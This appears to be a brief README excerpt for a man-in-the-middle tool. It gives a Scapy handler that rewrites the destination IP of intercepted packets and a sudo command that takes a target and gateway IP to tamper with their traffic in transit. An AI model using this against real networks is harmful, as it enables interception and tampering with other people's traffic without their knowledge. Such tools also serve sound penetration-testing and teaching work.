- Write your packet handler function test.py
from scapy.all import * def my_handler(packet): old_dst = packet[IP].dst packet[IP].dst = "192.168.1.113" print("[HANDLER] modified from", old_dst, "to", packet[IP].dst) return packet
- Discover your target's ip and gateway ip: you can use subdisc for this task.
- Run:
sudo python3 main.py [target ip] [gateway ip] custom test.my_handler
- The sniffed packets will now be modified by the function my_handler from the file test.py